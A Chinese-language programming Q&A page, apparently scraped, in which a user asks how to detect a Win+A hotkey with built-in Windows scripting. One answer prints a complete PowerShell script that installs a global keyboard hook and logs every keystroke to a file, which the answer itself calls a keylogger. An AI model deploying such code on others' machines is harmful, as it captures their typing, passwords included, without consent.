【发布时间】:2015-11-13 01:44:50
【问题描述】:
我正在考虑使用内置脚本语言(如 vb 脚本、powershell 脚本、批处理脚本等)检测组合键 [最好是窗口键 + a] 的场景。有什么方法可以做到这一点吗?
【问题讨论】:
标签: powershell batch-file vbscript powershell-2.0 command-prompt
我正在考虑使用内置脚本语言(如 vb 脚本、powershell 脚本、批处理脚本等)检测组合键 [最好是窗口键 + a] 的场景。有什么方法可以做到这一点吗?
【问题讨论】:
标签: powershell batch-file vbscript powershell-2.0 command-prompt
我个人喜欢AutoHotKey,你创建了一个脚本,它会检测任何组合键。它快速且易于使用,我每天编写和使用数十种组合键。
如果您必须使用内置脚本语言,那么最简单的方法是使用您喜欢的任何语言(例如 PowerShell)创建所需的脚本。然后创建一个运行脚本的快捷方式(例如,powershell.exe -file "c:\myScript.ps1")。
然后在测试你的快捷键和脚本后,进入快捷键的属性,有一个“快捷键”字段,你可以绑定一个组合键。
使用内置语言有点麻烦,而且每个组合键都必须有单独的脚本和快捷键。与 AutoHotKey 相比,您可以将所有组合键合并到一个文件中。
【讨论】:
通过 powershell 或其他内置工具来做到这一点似乎相当雄心勃勃。
您需要了解的是“系统挂钩”,它在 Windows 操作系统中用于跟踪正在运行的程序或脚本之外发生的事情。 我在这个主题上找到了这个链接,这是我仍在努力学习的东西,所以我不能保证这是一个很好的解释: http://www.codeproject.com/Articles/6362/Global-System-Hooks-in-NET
这是一个用于操作键盘记录器的 powershell 脚本示例,它记录所有击键并将它们发送到日志文件:
http://hinchley.net/2013/11/02/creating-a-key-logger-via-a-global-system-hook-using-powershell/
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
"@ -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();
希望这会为您指明正确的方向,并且您能够从中有所收获!
【讨论】: